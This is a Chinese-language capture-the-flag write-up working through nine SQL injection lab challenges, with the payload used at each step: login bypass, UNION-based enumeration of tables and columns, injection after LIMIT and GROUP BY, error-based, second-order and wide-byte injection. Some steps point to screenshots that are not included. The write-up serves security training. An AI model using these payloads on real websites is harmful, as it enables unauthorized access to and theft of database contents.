安全脉搏独家发文,如需转载,请先联系授权。
0x00 序言
开始之前,先贴上官方题目说明:
0x01 Example1
直接提交1'
未作任何过滤就直接拼接了,直接万能密码' or '1' = '1
0x02 Example2
输入1'发现报错
然后根据官方题目说明,知道这道题限制了只能返回一条结果
而万能密码1' or '1'='1永真,会返回所有结果,那么我们需要在语句最后加一句limit 0,1就可以了
0x03 Example3
看官方说明,第三题过滤了单引号,那么我们可以使用\来转义username后面第二个单引号,那么username第一个单引号就和password第一个单引号闭合了。
就像这样:
username='\' and password='
然后我们构造
username='\' and password='or 1=1#
0x04 Example4
页面url为:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username%3d%27hacker%27
url解码一下:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='hacker'
我们在页面可以看到两列id和name
我们大概可以猜测,req是的值是表示通过什么查询,req=username就是表示通过name参数来查询用户,然后通过name=来查询用户。
然后我们试下req=id&id=1
可以看到查询成功了。
我们直接在后面加个or 1=1就可以查出所有用户,很明显应该没有做任何过滤。
然后我们查一下有几个字段:
order by 3#页面返回正常
order by 4#页面返回错误
确定字段数为3
然后我们看回显位
username='-1'union select 1,2,3#
可以看到这里有两个回显位,那么我们可以在回显位通过子查询来注出数据。
我们先查一下数据库:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select (select database()),2,3#
然后我们查一下数据库中有哪些表:
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select (select group_concat(table_name) from information_schema.tables where table_schema = database()),2,3#
然后我们发现example4库中只有一个users表,然后查看一下user表的字段
http://ctf.d0g3.cn:6007/sqlinjection/example4/?req=username='-1' union select(select column_name from information_schema.columns where table_name="users" limit 0,1),2,3#
limit 0,1 字段是id
limit 1,1 字段是username
limit 2,1 字段是password
然后我们将users表的信息都爆出来:
然后这道题大概就这样了
0x05 Example5
先测试下1'
可以看出limit的参数是limit后面的值,在mysql中limit后面可以用union select,但是不能用order by
比如我们用order by会出现错误:
而使用union select,则可以爆出字段数为3,其中有两个回显位:
可以查下数据库:
其它的都和Example4差不多了。
0x06 Example6
先加个1'测试下:
发现是在group by后面拼接,group by后面也只能拼接union select
发现1和2是回显位,其余就参考前面的Example5了
0x07 Example7
先加个1'测试下
然后使用order by爆出了列数为3
然后使用and union select 1,2,3#
发现只出现了报错信息,没有出现回显位,那么猜测是报错注入:
extractvalue:
updatexml:
两种都可以注入。
0x08 Example8
这道题真的坑人......
这里有两个输入框,user和password,下面有个create user的按钮
随便输入几个数据提交测试一下:
我们可以看到,这就是一个创建用户的页面。
刚开始猜insert会不会存在注入,后面看了官方文档后才知道是二次注入。
然后我看到输入的内容有username会被直接显示出来,就猜想会不会存在xss
于是我输入了如下的表达式:
然后点击id查看,然后发现报错了,刚好爆出了查询的sql语句:
我们点击id的时候,后台执行的sql语句会通过username查询出改username密码的哈希值
但是我构造1'union select 1,2,3#的时候并没有出现回显位,这时候我们就以为使用union select行不通了,然而事实并不是这样的
当我们使用a'union select 1,2,3#的时候,成功出现回显位
那么原因是什么呢?其实原因很简单,因为union select是将前面语句和union select查询的结果和后面的查询结果合并为一个数据集然后返回,而这里因为前面已经创建了用户名为1的用户,因此使用union来查询的时候,可能已经查找成功了,而这里又只能显示一个用户名,所以union的结果就不能显示出来了。
但是我们还是有办法通过id=1来union 查询出数据,如下:
id=1' and 0=1 union select 1,2,3#
通过添加一个and 0=1使前面的式子永假就可以了,
获得了回显位,那么其它的就和前面一样的了。
0x09 Example9
直接提交1',没有任何报错信息
发现单引号被过滤,那么就应该想到宽字节注入
试一下:
1%df%27
看到错误信息,确实存在宽字节注入:
1%df%27 or 1=1%23
注意在url中#需要写其url编码%23
领取专属 10元无门槛券
私享最新 技术干货